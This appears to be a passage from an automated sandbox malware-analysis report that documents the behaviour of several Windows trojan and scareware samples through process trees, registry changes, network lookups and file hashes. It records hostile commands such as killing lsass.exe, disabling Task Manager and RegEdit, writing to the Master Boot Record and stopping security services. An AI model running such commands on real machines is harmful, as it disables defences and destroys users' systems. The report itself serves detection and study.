PID 2736 wrote to memory of 1224	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe
PID 2736 wrote to memory of 1436	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 2736 wrote to memory of 1436	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 2736 wrote to memory of 1436	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

System policy modification

evasion

Description	Indicator	Process	Target
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer	\??\c:\windows\antivirus-platinum.exe	N/A
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives = "67108863"	\??\c:\windows\antivirus-platinum.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	\??\c:\windows\antivirus-platinum.exe	N/A
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1"	\??\c:\windows\antivirus-platinum.exe	N/A

Views/modifies file attributes

evasion

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\attrib.exe	N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\3F13.tmp\3F14.tmp\3F15.bat C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe"

C:\Windows\system32\timeout.exe

timeout /t 6

C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe

FreeMicrosoft.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe

AntivirusPlatinum.exe

C:\Windows\system32\timeout.exe

timeout /t 2

C:\WINDOWS\302746537.exe

"C:\WINDOWS\302746537.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\5734.tmp\302746537.bat" "

C:\Windows\SysWOW64\regsvr32.exe

regsvr32 /s c:\windows\comctl32.ocx

C:\Windows\SysWOW64\regsvr32.exe

regsvr32 /s c:\windows\mscomctl.ocx

\??\c:\windows\antivirus-platinum.exe

c:\windows\antivirus-platinum.exe

C:\Windows\SysWOW64\attrib.exe

attrib +h c:\windows\antivirus-platinum.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe

Antivirus.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Windows\system32\taskkill.exe

taskkill /IM lsass.exe /F

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe

Badgame.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Hydra.exe

Hydra.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\SGen.exe

SGen.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Windows\system32\timeout.exe

timeout /t 10

C:\Windows\SysWOW64\wscript.exe

wscript.exe "C:\Users\Admin\AppData\Local\Temp\SFC60B6.tmp.vbs"

C:\Windows\SysWOW64\net.exe

net stop wscsvc

C:\Windows\SysWOW64\net.exe

net stop winmgmt /y

C:\Windows\SysWOW64\net.exe

net start winmgmt

C:\Windows\SysWOW64\net.exe

net start wscsvc

C:\Windows\SysWOW64\Wbem\mofcomp.exe

mofcomp C:\Users\Admin\AppData\Local\Temp\4otjesjty.mof

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop wscsvc

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop winmgmt /y

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start winmgmt

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start wscsvc

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe

PCOptimizerProInstaller.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\VirusCan.exe

VirusCan.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe

matrix.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\bomb.exe

bomb.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\ChilledWindows.exe

ChilledWindows.exe

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 2428 -s 652

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\903E.tmp\VirusCan.bat""

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\903F.tmp\903F.tmp\9040.bat C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe"

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	frequentwin.com	udp
US	8.8.8.8:53	searchdusty.com	udp
US	8.8.8.8:53	highway-traffic.com	udp
US	8.8.8.8:53	fastsofgeld.com	udp

Files

C:\Users\Admin\AppData\Local\Temp\3F13.tmp\3F14.tmp\3F15.bat

MD5	9eed2c0c3293d9424e3edacf3b36615d
SHA1	1d7743263a25661055549dd913ec5c654fa99ffd
SHA256	9780bbabc18e0a4cf00c87ffe12c36804fd1180c7e62ceb3f244820224dd15b2
SHA512	cedcd3b4ea56f4495e5f0baf20795c1296130f65d5512b4a7adabd1cfc46c2af0f94e5678a74b9fc181371d2e34239bc1d833f908e599f7389ee53cd55a8b746

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

MD5	833619a4c9e8c808f092bf477af62618
SHA1	b4a0efa26f790e991cb17542c8e6aeb5030d1ebf
SHA256	92a284981c7ca33f1af45ce61738479fbcbb5a4111f5498e2cb54931c8a36c76
SHA512	4f231fc16339d568b5cf9353133aeae835eb262dab68bc80d92f37b43df64dce4fae0e913cbaa3bb61351a759aeecf9d280bc5779b0853c980559a654d6cca11

C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe

MD5	382430dd7eae8945921b7feab37ed36b
SHA1	c95ddaebe2ae8fbcb361f3bf080d95a7bb5bf128
SHA256	70e5e902d0ac7534838b743c899f484fe10766aefacc6df697219387a8e3d06b
SHA512	26abc02bde77f0b94613edc32e0843ac71a0a8f3d8ba01cb94a42c047d0be7befef52a81984e9a0fa867400082a8905e7a63aaaf85fa32a03d27f7bc6a548c3b

C:\Windows\302746537.exe

MD5	8703ff2e53c6fd3bc91294ef9204baca
SHA1	3dbb8f7f5dfe6b235486ab867a2844b1c2143733
SHA256	3028a2b0e95143a4caa9bcd6ae794958e7469a20c6e673da067958cbf4310035
SHA512	d5eb8a07457a78f9acd0f81d2f58bbf64b52183318b87c353a590cd2a3ac3a6ec9c1452bd52306c7cf99f19b6a897b16ceb8289a7d008c5ce3b07eda9b871204

memory/2836-47-0x0000000003440000-0x0000000003450000-memory.dmp

memory/2836-46-0x0000000000590000-0x0000000000596000-memory.dmp

memory/2492-49-0x0000000000400000-0x0000000000410000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\5734.tmp\302746537.bat

MD5	7d8beb22dfcfacbbc2609f88a41c1458
SHA1	52ec2b10489736b963d39a9f84b66bafbf15685f
SHA256	4aa9ed4b38514f117e6e4f326cb0a1be7f7b96199e21305e2bd6dce289d7baa2
SHA512	a26cf9168cf7450435a9fe8942445511f6fda1087db52bd73e335d6f5b544fc892999019d9291d9dcc60c3656de49688f6d63282c97706e2db286f988e44fd94

\??\c:\windows\comctl32.ocx

MD5	821511549e2aaf29889c7b812674d59b
SHA1	3b2fd80f634a3d62277e0508bedca9aae0c5a0d6
SHA256	f59cdf89f0f522ce3662e09fa847bca9b277b006c415dcc0029b416c347db9c4
SHA512	8b2e805b916e5fbfcccb0f4189372aea006789b3847b51018075187135e9b5db9098f704c1932623f356db0ee327e1539a9bf3729947e92844a26db46555e8cd

\??\c:\windows\mscomctl.ocx

MD5	714cf24fc19a20ae0dc701b48ded2cf6
SHA1	d904d2fa7639c38ffb6e69f1ef779ca1001b8c18
SHA256	09f126e65d90026c3f659ff41b1287671b8cc1aa16240fc75dae91079a6b9712
SHA512	d375fd9b509e58c43355263753634368fa711f02a2235f31f7fa420d1ff77504d9a29bb70ae31c87671d50bd75d6b459379a1550907fbe5c37c60da835c60bc1

memory/2536-69-0x0000000000580000-0x000000000058D000-memory.dmp

C:\Windows\antivirus-platinum.exe

MD5	cd1800322ccfc425014a8394b01a4b3d
SHA1	171073975effde1c712dfd86309457fd457aed33
SHA256	8115de4ad0b7e589852f521eb4260c127f8afeaa3b0021bfc98e4928a4929ac0
SHA512	92c22c025fd3a61979fa718bf2e89a86e51bf7e69c421a9534fbf9c2d5b23b7a9224d0e9f3e0501992038837015214d1ef73b532a68b7d19de559c9ab9c6e5f6

memory/1840-71-0x0000000000400000-0x000000000040D000-memory.dmp

memory/2536-70-0x0000000000580000-0x000000000058D000-memory.dmp

memory/2492-74-0x0000000000400000-0x0000000000410000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe

MD5	c7e9746b1b039b8bd1106bca3038c38f
SHA1	cb93ac887876bafe39c5f9aa64970d5e747fb191
SHA256	b1369bd254d96f7966047ad4be06103830136629590182d49e5cb8680529ebd4
SHA512	cf5d688f1aec8ec65c1cb91d367da9a96911640c695d5c2d023836ef11e374ff158c152b4b6207e8fcdb5ccf0eed79741e080f1cbc915fe0af3dacd624525724

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

MD5	979b597855746aee2f30ee74f9d7c163
SHA1	56dd0b4bbc5ddcc3fab99ea2e8f781d8b7c7c05f
SHA256	dc6ee4edbbbe1116a200b928f2b62dbc55594a9f79152bbb0076161a58546c11
SHA512	6b7411b23fa0be275070bb08edb0293f7c5c00fffb7746afe0b4368e0a45e4c2743d3ef86417a610021577f70253bb0ca1c5d3398ac93d22d6672d2b16e0ec4e

memory/1576-82-0x0000000000F30000-0x0000000000F38000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe

MD5	ebfbd478a8cfc0fb645b8559973690cb
SHA1	88ec8dff51b53beed128582bcaf86ea81f684a0f
SHA256	62c99ea25fea9d3e5917114ada0406a333b1506697bd2bc28e9d676655232a59
SHA512	30c5dbaf97d3b43edca2e0c9f98fe3e45a2b508880021ce624145549b295c46f4468118c2f5051be402d4eeb3d9791a5eb27f1cc242b3a639b8318be49315f82

C:\Users\Admin\AppData\Local\Temp\Trojan\Hydra.exe

MD5	b2eca909a91e1946457a0b36eaf90930
SHA1	3200c4e4d0d4ece2b2aadb6939be59b91954bcfa
SHA256	0b6c0af51cde971b3e5f8aa204f8205418ab8c180b79a5ac1c11a6e0676f0f7c
SHA512	607d20e4a46932c7f4d9609ef9451e2303cd79e7c4778fe03f444e7dc800d6de7537fd2648c7c476b9f098588dc447e8c39d8b21cd528d002dfa513a19c6ebbf

C:\Users\Admin\AppData\Local\Temp\Trojan\SGen.exe

MD5	3e20f1b0a3bb4c8608844e47d92d2121
SHA1	e2f84e46d4e63cbd091feeca686814752519596e
SHA256	a23284c86e2b640fce315419157db159355efa61f0ed1b70e716584aa77b6793
SHA512	1047304be5dcca4b71fed0c76db3bd4c42fcd2b163b6d93dc27be16fe90579d6a8c40655e76132b398ad430dadf7238267342adc2206025c9a77998c4214dd6b

memory/1028-110-0x0000000000920000-0x0000000000930000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\4otjesjty.mof

MD5	7fad92afda308dca8acfc6ff45c80c24
SHA1	a7fa35e7f90f772fc943c2e940737a48b654c295
SHA256	76e19416eb826a27bdcf626c3877cf7812bbe9b62cc2ccc5c2f65461d644246f
SHA512	49eed1e1197401cb856064bf7fdbd9f3bc57f3c864d47f509346d44eed3b54757d8c6cdb6254990d21291065f0762d2a1588d09e43c5728f77a420f6a8dcd6ea

memory/1840-121-0x0000000000400000-0x000000000040D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe

MD5	a50c74202e2f4d938babf556b9f54725
SHA1	6810db1606cac6ab19edbaa49620ba197ef7bc64
SHA256	937ccad21c0271169104539269b5f3faa43d6ca2e36d676fbf9b6fa6df41b40a
SHA512	28c717b84fc9b94a3cef76ff36de52a7d928d164daab87387efe3e87f934e4e42b62da3c75d7c06ec2f93c7c2903428ad768c0199d48ecea18551becc7ba21a9

C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe

MD5	83726a8767faba50ea1b5f31afef5938
SHA1	70165dcc633f3390d98ae08c731113b007069737
SHA256	e2636cb5e2b2ff10b27e3050e88801620494654017751d41e5a0725a5ce3b6c4
SHA512	e190e655c4df6ed6b79a8bff97c56a8c736753ce86f181f1fb15a4c57914bec0f1b1a3c8736e49a715191f2e6637a67be2a58354187365894c5d846518d7e301

C:\Users\Admin\AppData\Local\Temp\Trojan\bomb.exe

MD5	05ad3f85b73e5ff86504f8dcc55b5d42
SHA1	927d4554328cc6d767a566c3c6cb54c16d58857a
SHA256	124cf5ca90e7aaede685fe0cda72b6a63b80583d2d5ec04d5baeb4a1851c48af
SHA512	6fda7808e0b96caf3a1ff35734fec63f1e78cca6ae0abaa54fd5dd7bca6299a587b8f2c455b9385d7cf9b9cd9b74edbab1e37d8f98e8777059b3c3e2964feb18

memory/2192-152-0x0000000000400000-0x000000000040E000-memory.dmp

\Users\Admin\AppData\Local\Temp\nso8641.tmp\LangDLL.dll

MD5	de3558ce305e32f742ff25b697407fec
SHA1	d55c50c546001421647f2e91780c324dbb8d6ebb
SHA256	98160b4ebb4870f64b13a45f5384b693614ae5ca1b5243edf461ca0b5a6d479a
SHA512	7081654001cba9263e6fb8d5b8570ba29a3de89621f52524aa7941ba9e6dfd963e5ef7b073f193b9df70300af04d7f72f93d0241d8c70ccdbecfd9092e166cac

\Users\Admin\AppData\Local\Temp\nso8641.tmp\GetVersion.dll

MD5	dc9562578490df8bc464071f125bfc19
SHA1	56301a36ae4e3f92883f89f86b5d04da1e52770d
SHA256	0351fe33a6eb13417437c1baaee248442fb1ecc2c65940c9996bcda574677c3f
SHA512	9242f8e8ece707874ef61680cbfcba7fc810ec3a03d2cb2e803da59cc9c82badd71be0e76275574bc0c44cdfcef9b6db4e917ca8eb5391c5ae4b37e226b0c321

C:\Users\Admin\AppData\Local\Temp\Trojan\ChilledWindows.exe

MD5	6a4853cd0584dc90067e15afb43c4962
SHA1	ae59bbb123e98dc8379d08887f83d7e52b1b47fc
SHA256	ccb9502bf8ba5becf8b758ca04a5625c30b79e2d10d2677cc43ae4253e1288ec
SHA512	feb223e0de9bd64e32dc4f3227e175b58196b5e614bca8c2df0bbca2442a564e39d66bcd465154149dc7ebbd3e1ca644ed09d9a9174b52236c76e7388cb9d996

C:\Users\Admin\AppData\Local\Temp\Trojan\VirusCan.exe

MD5	8edb51ed1d3241c4f026bb0d5de20f89
SHA1	9453b850f98062c0b3955a58c295a662be605efb
SHA256	c26fc73c59765b9f8df9cf66f6bb81ce099097804a9f0bd4660f3f80e0639f47
SHA512	0217f034da40cbe924ee8e73b024a3c5d86de1b7b12881d1b2909da2aba39661526b712acf9b390d000940ffbf3746e65a5687b7782635c24e844b36560c59f2

memory/2428-160-0x0000000001140000-0x00000000015A4000-memory.dmp

memory/2600-159-0x0000000000400000-0x0000000000410000-memory.dmp

memory/3000-158-0x000000006F790000-0x000000006F799000-memory.dmp

memory/3000-157-0x000000006F9B0000-0x000000006F9B9000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\903E.tmp\VirusCan.bat

MD5	55dcde25c122c782757989a3c275fea2
SHA1	a669581a58e6aa602cbdaf690e3e365fa4de570f
SHA256	3aad2d3f7f3c5ef2676e33cc3be636f1929cf106707e88068ed8eee1ecfcb916
SHA512	b9cd00ffc8e42d2cd1f37a3312655c12423c8fb145910ee2ac8abf0d06b5942b5754fdd60d6b94a125c3bf3a1e7818eded0bfe662dc3992dac10d9df3fcaa5f2

memory/2600-169-0x0000000000400000-0x0000000000410000-memory.dmp

memory/2752-171-0x0000000000400000-0x000000000043E000-memory.dmp

memory/3000-174-0x000000006F790000-0x000000006F799000-memory.dmp

memory/3000-173-0x000000006F9B0000-0x000000006F9B9000-memory.dmp

Analysis: behavioral11

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:59

Platform

win7-20231129-en

Max time kernel

120s

Max time network

125s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe"

Signatures

Writes to the Master Boot Record (MBR)

bootkit persistence

Description	Indicator	Process	Target
File opened for modification	\??\PhysicalDrive0	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe	N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe"

Network

N/A

Files

memory/2392-0-0x0000000000400000-0x0000000000412000-memory.dmp

Analysis: behavioral12

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:59

Platform

win10v2004-20240611-en

Max time kernel

139s

Max time network

143s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe"

Signatures

Writes to the Master Boot Record (MBR)

bootkit persistence

Description	Indicator	Process	Target
File opened for modification	\??\PhysicalDrive0	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe	N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe"

Network

Country	Destination	Domain	Proto
NL	23.62.61.97:443	www.bing.com	tcp
US	8.8.8.8:53	g.bing.com	udp
US	8.8.8.8:53	13.86.106.20.in-addr.arpa	udp
US	8.8.8.8:53	14.160.190.20.in-addr.arpa	udp
US	13.107.21.237:443	g.bing.com	tcp
US	8.8.8.8:53	249.197.17.2.in-addr.arpa	udp
US	8.8.8.8:53	237.21.107.13.in-addr.arpa	udp
US	8.8.8.8:53	43.58.199.20.in-addr.arpa	udp
US	8.8.8.8:53	97.61.62.23.in-addr.arpa	udp
US	8.8.8.8:53	104.219.191.52.in-addr.arpa	udp
US	8.8.8.8:53	50.23.12.20.in-addr.arpa	udp
US	8.8.8.8:53	15.164.165.52.in-addr.arpa	udp
US	8.8.8.8:53	172.210.232.199.in-addr.arpa	udp
US	8.8.8.8:53	31.243.111.52.in-addr.arpa	udp
US	8.8.8.8:53	tse1.mm.bing.net	udp
US	150.171.28.10:443	tse1.mm.bing.net	tcp
US	150.171.28.10:443	tse1.mm.bing.net	tcp
US	8.8.8.8:53	10.28.171.150.in-addr.arpa	udp
US	8.8.8.8:53	8.173.189.20.in-addr.arpa	udp

Files

memory/1788-0-0x0000000000400000-0x0000000000412000-memory.dmp

Analysis: behavioral13

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:57

Platform

win7-20240611-en

Max time kernel

44s

Max time network

17s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe"

Signatures

Writes to the Master Boot Record (MBR)

bootkit persistence

Description	Indicator	Process	Target
File opened for modification	\??\PhysicalDrive0	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe	N/A

Enumerates physical storage devices

Kills process with taskkill

evasion

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\taskkill.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\taskkill.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2384 wrote to memory of 2340	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe	C:\Windows\SysWOW64\taskkill.exe
PID 2384 wrote to memory of 2340	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe	C:\Windows\SysWOW64\taskkill.exe
PID 2384 wrote to memory of 2340	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe	C:\Windows\SysWOW64\taskkill.exe
PID 2384 wrote to memory of 2340	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe	C:\Windows\SysWOW64\taskkill.exe
PID 2384 wrote to memory of 1920	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe
PID 2384 wrote to memory of 1920	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe
PID 2384 wrote to memory of 1920	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe
PID 2384 wrote to memory of 1920	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe"

C:\Windows\SysWOW64\taskkill.exe

"C:\Windows\System32\taskkill.exe" /f /im lsass.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe"

Network

N/A

Files

memory/2384-0-0x00000000741FE000-0x00000000741FF000-memory.dmp

memory/2384-1-0x0000000000FD0000-0x0000000000FF6000-memory.dmp

memory/2384-2-0x00000000741F0000-0x00000000748DE000-memory.dmp

memory/1920-3-0x0000000000400000-0x0000000000412000-memory.dmp

memory/2384-4-0x00000000741F0000-0x00000000748DE000-memory.dmp

Analysis: behavioral32

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:59

Platform

win10v2004-20240611-en

Max time kernel

146s

Max time network

156s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe"

Signatures

Checks computer location settings

Description	Indicator	Process	Target
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe	N/A

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 1348 wrote to memory of 1308	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe	C:\Windows\system32\cmd.exe
PID 1348 wrote to memory of 1308	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe	C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\52B4.tmp\52B5.tmp\52B6.bat C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe"

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	g.bing.com	udp
US	13.107.21.237:443	g.bing.com	tcp
US	8.8.8.8:53	133.211.185.52.in-addr.arpa	udp
US	8.8.8.8:53	249.197.17.2.in-addr.arpa	udp
US	8.8.8.8:53	134.32.126.40.in-addr.arpa	udp
US	8.8.8.8:53	237.21.107.13.in-addr.arpa	udp
NL	23.62.61.97:443	www.bing.com	tcp
NL	23.62.61.97:443	www.bing.com	tcp
US	8.8.8.8:53	97.61.62.23.in-addr.arpa	udp
US	8.8.8.8:53	104.219.191.52.in-addr.arpa	udp
US	8.8.8.8:53	183.59.114.20.in-addr.arpa	udp
US	8.8.8.8:53	18.31.95.13.in-addr.arpa	udp
US	8.8.8.8:53	35.15.31.184.in-addr.arpa	udp
US	8.8.8.8:53	88.210.23.2.in-addr.arpa	udp
US	52.111.227.11:443		tcp
US	8.8.8.8:53	31.243.111.52.in-addr.arpa	udp
US	8.8.8.8:53	55.36.223.20.in-addr.arpa	udp

Files

C:\Users\Admin\AppData\Local\Temp\52B4.tmp\52B5.tmp\52B6.bat

MD5	f2d5cf0bf3d6ec8c6d5dc97af835c5e5
SHA1	5b60f43fa6d5810bad58de5f06a0f84dd4aa9bf6
SHA256	31ee6e28c82ab165ca3048aec9a88c8590d6f0b94b88e7f87b6ec36d2fa0a24c
SHA512	075fb8005c93d9f61dfa07b41424591ff518a6f9c8a1fff74d1e6df39ec56377e48208e08a01485eafeced2880a4b18061ddfa637611a89ce3f252580c2deff9

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:59

Platform

win7-20240611-en

Max time kernel

120s

Max time network

128s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe"

Signatures

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 1876 wrote to memory of 2720	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe	C:\Windows\system32\cmd.exe
PID 1876 wrote to memory of 2720	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe	C:\Windows\system32\cmd.exe
PID 1876 wrote to memory of 2720	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe	C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\1DBE.tmp\1DBF.tmp\1DC0.bat C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\1DBE.tmp\1DBF.tmp\1DC0.bat

MD5	cffeffdd19a93f72fce9ae0b27fc7d41
SHA1	d51f874d7e1dbce87a6615db19e3bb3cd7918050
SHA256	f66989c140003a23e046dc0fd1f14d3ffee42e55b86c6f406c23406090005fbc
SHA512	197241112fd18486acbddeee1211ed801bbc1fb061b1a4a4917f67b7855c015d6ebf60ae16226733ecccd95d8ecd95c65c9eb49dbf1a9443076c4193380ac26b

Analysis: behavioral4

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:59

Platform

win10v2004-20240508-en

Max time kernel

50s

Max time network

72s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe"

Signatures

Disables RegEdit via registry modification

evasion

Description	Indicator	Process	Target
Set value (int)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe	N/A

Disables Task Manager via registry modification

evasion

Writes to the Master Boot Record (MBR)

bootkit persistence

Description	Indicator	Process	Target
File opened for modification	\??\PhysicalDrive0	C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
